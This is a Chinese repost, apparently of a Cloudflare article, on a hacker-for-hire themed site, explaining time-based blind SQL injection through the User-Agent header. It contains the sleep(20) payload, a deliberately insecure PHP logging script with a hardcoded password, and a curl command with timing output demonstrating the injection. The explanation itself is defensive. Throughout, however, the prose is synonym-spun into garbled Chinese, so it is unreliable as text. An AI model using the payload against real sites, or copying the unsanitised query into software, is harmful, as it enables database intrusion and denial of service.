当前位置:首页 > 黑客技术 > 正文内容

User Agent注入进犯及防护

访客5年前 (2019-05-17)黑客技术571


CloudFlare公司常常会收到客户问询为什么他们的一些恳求会被 CloudFlare WAF 屏蔽。最近,一位客户就提出他不能了解为什么一个拜访他主页简略的 GET 恳求会被 WAF 屏蔽。
下面是被屏蔽的恳求:
GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
正如他说的,一个简略的恳求拜访 WEB 主页,乍看之下如同没什么问题。除非你细心检查 User-Agent 部分:
Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+
User-Agent 前半部分看起来挺正常的(如同是微软 IE 11),可是却以字符串 '+(select*from(select(sleep(20)))a)+ 结束。进犯者企图对 User-Agent 值进行 SQL 注入。
一般的 SQL 注入通常是对 URL 及其参数进行的,但这儿进犯者却将 SQL 查询句子 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中 。这种技能通常被各种扫描器所运用,例如,sqlmap 的 -p 参数会测验对 HTTP 恳求头部字段进行注入。
延时注入
许多 SQL 注入都是在测验从网站中提取信息(例如用户名、暗码或其他隐私信息)。但这条句子却不太相同,它恳求数据库进程等候 20 秒。这种进犯归于 SQL 盲注,一般的 SQL 注入会将查询的成果返回到 WEB 页面中,而盲注的进犯者则看不到查询的输出,所以他们会另辟蹊径运用其他的办法来判别注入。两种常见的办法便是使 WEB 服务器发生过错或许发生延时。如上运用 sleep 会是 WEB 服务器等候 20 秒才进行呼应,进犯者能够依据呼应是否发生延时来判别是否存在注入缝隙。
示例
为了更好的阐明,我运用 PHP 创建了一个不安全的运用,其间会将 User-Agent 保存到 MySQL 数据库中。这类代码或许会存在于实在的运用中用来剖析信息,例如计算拜访次数。
在这个示例中,我疏忽了一切杰出安全的编码习气,由于我想论述下 SQL 的作业原理。
再次正告:千万不要仿制/张贴以下代码!由于这些代码并不标准。
下面是 PHP 代码:
$link = new mysqli('localhost', 'insecure', '1ns3cur3p4ssw0rd', 'analytics');
$query = sprintf("INSERT INTO visits (ua, dt) VALUES ('%s', '%s')",
       $_SERVER["HTTP_USER_AGENT"],
       date("Y-m-d h:i:s"));
$link->query($query);
?>
Thanks for visiting
这段代码会连接到本地的 analytics 数据库,并将访客 HTTP 头部的 User-Agent 字段不加过滤的刺进到数据库中。
这便是一个 SQL 注入的比如,可是由于咱们的代码不会发生任何过错,所以进犯者无法经过报错来得知是否存在注入缝隙,除非他们运用相似 sleep() 之类的办法。
为了验证是否存在注入缝隙,只需求履行如下指令(其间 insecure.php 便是上述示例代码):
curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php
这样就会将 HTTP 头部的 User-Agent 字段设置为 Mozilla/5.0', (select*from(select(sleep(20)))a)) #。而咱们不安全的 PHP 代码会不加过滤就直接将这些字符串刺进查询句子中,此刻的查询句子变成了如下姿态:
INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2019-05-17 03:16:06')
原本应该刺进两个值,但现在只会刺进一个值 Mozilla/5.0 并履行 (select*from(select(sleep(20)))a) 句子(这会使数据库休眠 20 秒)。而 # 是注释符,意味着后续的句子被注释并疏忽了(便是疏忽了刺进日期)。
此刻的数据库中会呈现这样一个条目:
+---------------------+---------------+
| dt                  | ua            |
+---------------------+---------------+
| 0                   | Mozilla/5.0   |
+---------------------+---------------+
请注意,其间日期值为 0,这正是 (select*from(select(sleep(20)))a) 句子履行的成果,别的 ua 的值为 Mozilla/5.0,而这或许便是进犯者成功履行 SQL 注入后留下的仅有痕迹了。
下面是接纳到上述恳求后服务器的运转成果,咱们运用 time 指令来看看这个进程究竟需求多长时间:
$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php
* Connected to example.com port 80 (#0)
> GET /insecure.php HTTP/1.1
> Host: example.com
> User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) #
> Accept: */*
>
Date: Mon, 16 May 2019 10:45:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
html>head>head>body>b>Thanks for visitingb>body>html>
* Connection #0 to host example.com left intact
real   0m20.614s
user   0m0.007s
sys    0m0.012s

[1] [2]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://www.therlest.com/106604.html

分享给朋友:

“User Agent注入进犯及防护” 的相关文章

天猫双十一购物津贴使用规则

每年的双十一玩法都有更新,玩法是越来越多,但仍保留了一些经典玩法,比如购物津贴。那么购物津贴是什么意思呢?天猫双十一购物津贴使用规则是什么?双十一购物津贴可以与哪些优惠叠加?双11购物津贴面值多少元?一起来了解一下吧!    ...

今天的汽油单价 - 今日燃油价格最新行情

4点59元调为5点02元,不同批次价格会有差距,经常堵车路况差的情况下,93#汽油7点71元/升、20:29单位:人民币,情况今天零时起。 92号汽油,0 号柴油每升上调0点04元。更别说不同地区了,92号汽油,上调0点37行情元;93号,最高限价,决定从。 92汽油官方价6点柴油价:6点:5点90...

接单的黑客_可以找黑客黑美团吗

有在网络安全范畴中,猜测网络违法和歹意软件发展趋势好像现已成为了各大网络安全公司的传统了。 为了防止让咱们去阅览上百页的安全陈述,咱们专门整兼并总结了McAfee、Forrester、FiskIQ、卡巴斯基实验室【1、2、3】、WatchGuard、Nuvias、FireEye、CyberArk、F...

有机调和水多少钱一吨 「有机调和水制作过程」

如果说一吨女人是水啊,2,而化学肥料就像人吃的维生素,不能光喝水。 摆放至出水,15种神秘辣椒,用油炸成油炸品,好的纯净水想怎么用就怎么用、稳定供水量。白露节令的露、在本生态系统中有光、过高引起的压力传感的反应原水泵恒定系统供水压力,玉米面4两,制作方法是:将小鱼2调和条。 汽提→大豆原油。手板石膏...

Webshell安全检测篇

0x00 依据流量的检测办法 1.概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分...

威海海景房房价走势 - 山东威海海景房骗局

我是在乳山银滩买房的,多谢啦!可能是真实情况。 晚上夕阳衬着大海格外美丽,石岛房子要比银滩强的多。骗局倒是谈不上,是一个新兴的旅游区的新城,一般购房者以外地居民多,估计也是房子价格的一部分吧,那收入会更高,我家刚在D区买了房子,环境以及二十多公里的原生态沙滩形成。 但都在下面县级市的镇的郊区.听老妈...

评论列表

惑心笙沉
2年前 (2022-05-28)

间:$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php* Connected to example.com port 80

孤央孤望
2年前 (2022-05-28)

   0m20.614suser   0m0.007ssys    0m0.012s[1] [2]  黑客接单网

拥嬉听茶
2年前 (2022-05-28)

.comConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1Us

北槐羡兔
2年前 (2022-05-28)

(select*from(select(sleep(20)))a) 句子履行的成果,别的 ua 的值为 Mozilla/5.0,而这或许便是进犯者成功履行 SQL 注入后留下的仅有痕迹了。下面是接纳到上述恳求后服务器的运转成果,咱们运用 time 指令来看看这个进程究竟需求多长时间:$ ti

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。